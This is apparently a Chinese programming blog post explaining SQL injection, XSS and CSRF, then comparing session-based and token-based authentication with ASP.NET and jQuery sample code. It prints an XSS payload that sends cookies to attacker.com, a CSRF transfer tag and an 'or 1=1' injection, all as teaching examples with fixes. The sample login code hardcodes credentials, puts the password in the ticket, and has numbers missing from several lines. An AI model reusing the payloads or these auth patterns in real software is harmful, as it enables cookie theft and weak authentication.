一. 常见的安全隐患
1. SQL注入
常见的案例：
String query = "SELECT * FROM T_User WHERE userID='" + Request["userID"] + "';
这个时候，只需要在传递过来的userID后面加上个： or 1=1，即可以获取T_User表中的所有数据了。
解决方案：参数化查询。
2. 跨站脚本攻击(Cross-Site Scripting (XSS))
允许跨站脚本是Web 2.0时代网站最普遍的问题。如果网站没有对用户提交的数据加以验证而直接输出至网页，那么恶意用户就可以在网页中注入脚本来窃取用户数据。
eg：通过后台代码编写前端代码进行输出
string page += "<input name='userName' type='TEXT' value='" + request.getParameter("CC") + "'>";
攻击者只要输入以下数据：
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'
当该数据被输出到页面的时候，每个访问该页面的用户cookie就自动被提交到了攻击者定义好的网站。
解决方案：输入的数据要进行安全校验和转义
3.跨站请求伪造(Cross-Site Request Forgery (CSRF) )
同样是跨站请求，这种与上面XSS的不同之处在于这个请求是从钓鱼网站上发起的。
比如钓鱼网站包含了下面代码：
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
这行代码的作用就是一个在example.com网站的转帐请求，客户访问钓鱼网站时，如果也同时登录了example.com或者保留了example.com的登录状态，那个相应的隐藏请求就会被成功执行。
解决方案：
使用Token校验，保存好Token，比如：JWT校验。
二. 两类系统要解决的常见问题
1. Web系统
(1).是否登录. 没有登录话是不能进入登录以外的页面，即使访问，也要返回到自动进入登录页面。
(2).是否有权限. 权限的展现分两种：a. 没有权限的话直接不显示. b. 没有权限但是显示，单击的时候提示没有权限。
2.APP接口
(1).接口安全，不是任何人都能访问的，必须登录后才能访问，当然也有一部分不需要登录。
(2).防止接口被知道参数后任何能直接访问，要有校验，即使地址暴露别人也访问不通。
三. 传统的基于Session的校验
1. 前言
基于Session的校验，通常是用在管理系统中或者网站上，不适用于APP接口或者前后端分离的项目。
PS：复习一下Session的原理：https://www.cnblogs.com/yaopengfei/p/8057176.html
2. 步骤
①：登录成功，将用户信息(一个实体)和该用户对应的权限信息存放到Session中。
②：对所有的页面的展示的地址(前提需要登录后才能显示的),加上一个过滤器，在过滤器中判断该用户是否登录过，没有登录的话直接退回到登录页面。
③：对所有的业务操作的方法加上一个过滤器，在过滤器中判断该用户是否该权限，没有的话，直接提示没有权限。
注：以上②和③中的过滤器里，都需要到Session中取值。
3. 基于Session验证的弊端
①：Session经常过期回收，导致Session为空，是一些业务操作莫名其妙的没法使用。可以改进为使用数据库的Session，会好很多。
②：由于Session的原理可知，在同一个浏览器中，先后用不同账号登录，先登录的账号Session中的信息会被后登陆账号Session中的信息覆盖。
③：每个用户登录一次，就需要往Session做一次记录，而Session默认是保存在服务器内存中的，随着认证的用户增多，服务器端开销明显增大。
④：不能进行负载均衡，保存在内存中，下次还需要到这台服务器上才能拿到授权。
⑤：Session是基于Cookie，如果Cookie被截获，用户很容易受到跨站请求伪造攻击(CSRF)。
四. 传统的基于Token的校验
1. 背景
APP项目或者其它前后端分离的项目，Session验证用不了，只能用基于token的验证。当然Web项目也可以采用这种方式。
2. 步骤
①：通过账号和密码登录成功，服务端生成一个token(比如：32位不重复的随机字符串)。
②：服务端把该token和用户id保存到数据库(SQLServer或Redis)或者Session中，然后把token值返回给前端。
③：客户端每次请求都带上该token，服务端根据该token来查询是否合法和过期，然后去数据库中查出来用户id进行使用。
3. 弊端
①：验证信息如果存在数据库中，每次都要根据token查用户id，增加了数据库的开销。
②：验证信息如果存在Session中，则增大了服务器端存储的压力。
③：token一旦被截取，就很容易进行跨站请求伪造。
4. 鉴于以上弊端进行思考
①：如果token遵从一定规律，使用对称加密算法来加密用户id生成token，服务器端只要解密该token，就能知道用户id了，不需要额外的开销。 但是，如果对称加密算法泄露了，别人也可以伪造token了。
②：如果我们用非对称加密算法来做呢，保存好秘钥，就不存在上面的问题了，从而引出JWT类似于该原理。
5. 实战案例(基于Token的小升级)
A. 步骤
(1) 登录成功，将账号和密码按照一定格式进行拼接成字符串，然后进行票据加密（对称加密，这其中可以设置很多东西，比如过期时间），将生成的ticket返回给客户端。
(2) 客户端可以把该ticket值存到localstorage中，每次请求在表头进行附加。
(3) 服务器端写一个过滤器，对该ticket进行解密，拿到账号和密码，去数据库中查询，是否匹配，如果匹配则验证通过。
B. 深度分析
同样存在被截取的问题，加密算法如果被人知道，容易被伪造
服务器端验证：见CheckPer0.cs
C. 代码分享
(1). 服务器端校验登录的代码
/// <summary>
/// 模拟登陆
/// </summary>
/// <param name="userAccount"></param>
/// <param name="pwd"></param>
/// <returns></returns>
[HttpGet]
public string Login0(string userAccount, string pwd)
{
//这里实际应该去数据库验证，此处暂时用固定值写死
if (userAccount == "admin" && pwd == "")
{
FormsAuthenticationTicket ticketObject = new FormsAuthenticationTicket(, userAccount, DateTime.Now, DateTime.Now.AddHours(), true, $"{userAccount}&{pwd}", FormsAuthentication.FormsCookiePath);
var result = new { result = "ok", ticket = FormsAuthentication.Encrypt(ticketObject) };
return JsonConvert.SerializeObject(result);
}
else
{
var result = new { result = "error" };
return JsonConvert.SerializeObject(result);
}
}
(2). 客户端调用登录的代码
获取成功，将token值存放到localStorage中。
$.get("/api/Seventh/Login0", { userAccount: "admin", pwd: "" }, function (data) {
var jsonData = JSON.parse(data);
if (jsonData.result == "ok") {
console.log(jsonData.ticket);
//存放到本地缓存中
window.localStorage.setItem("myTicket", jsonData.ticket);
alert("登录成功,ticket=" + jsonData.ticket);
} else {
alert("登录失败");
}
});
(3). 服务器端过滤器代码
该过滤器中通过 actionContext.Request.Headers.Authorization 获取固定的参数位：Authorization，然后通过 authorizationModel.Parameter 获取参数值，前端需要分割一下，如下：
当然还有很多别的赋值和获取的方式，详细的见下面章节。
/// <summary>
/// 基于token的小升级
/// 过滤器
/// </summary>
public class CheckPer0 : AuthorizeAttribute
{
public override void OnAuthorization(HttpActionContext actionContext)
{
//1. 获取报文头（固定的参数位 Authorization）
var authorizationModel = actionContext.Request.Headers.Authorization;
//2. 如果标注了[AllowAnonymous]特性，则不进行验证
if (actionContext.ActionDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count !=
|| actionContext.ActionDescriptor.ControllerDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count != )
{
//base.OnAuthorization(actionContext);
}
else if (authorizationModel != null && authorizationModel.Parameter != null)
{
try
{
//逻辑验证
//解密
var strTicket = FormsAuthentication.Decrypt(authorizationModel.Parameter).UserData;
//此处应该去数据库验证
if (strTicket.Equals("admin&123456"))
{
//表示校验通过,用于向控制器中传值
actionContext.RequestContext.RouteData.Values.Add("auth", strTicket);
}
else
{
base.HandleUnauthorizedRequest(actionContext);//返回没有授权
}
}
catch (Exception)
{ base.HandleUnauthorizedRequest(actionContext);//返回没有授权
}
}
}
}
(4). 服务器端加密后获取信息的代码
/// <summary>
/// 加密后获取信息
/// </summary>
/// <returns></returns>
[HttpGet]
[CheckPer0]
public string GetInfor0()
{
var userData = RequestContext.RouteData.Values["auth"].ToString();
if (string.IsNullOrEmpty(userData))
{
var result = new { Message = "error", data = "" };
return JsonConvert.SerializeObject(result);
}
else
{
var result = new { Message = "ok", data = userData };
return JsonConvert.SerializeObject(result);
}
}
(5). 客户端调用获取信息的代码
//从本地缓存中读取token值
var myTicket = window.localStorage.getItem("myTicket");
$.ajax({
url: "/api/Seventh/GetInfor0",
type: "Get",
data: {},
datatype: "json",
beforeSend: function (xhr) {
//Authorization 是一个固定的参数位置，本来就有这个参数，后台方便获取，当然也可以自己命名
//在myTicket前面加个BasicAuth1 只是为了后台.Parameter能获取到而已，至于叫什么名，没有关系
xhr.setRequestHeader("Authorization", 'BasicAuth1 ' + myTicket)
},
success: function (data) {
console.log(data);
alert(data);
},
//当安全校验未通过的时候进入这里
error: function (xhr) {
if (xhr.status == ) {
console.log(xhr.responseText);
alert("授权未通过");
}
}
});
(6). 运行结果
!
- 作 者 : Yaopengfei(姚鹏飞)
- 博客地址 : http://www.cnblogs.com/yaopengfei/
- 声 明1 : 本人才疏学浅，用郭德纲的话说“我是一个小学生”，如有错误，欢迎讨论，请勿谩骂^_^。
- 声 明2 : 原创博客请在转载时保留原文链接或在文章开头加上本人博客地址，否则保留追究法律责任的权利。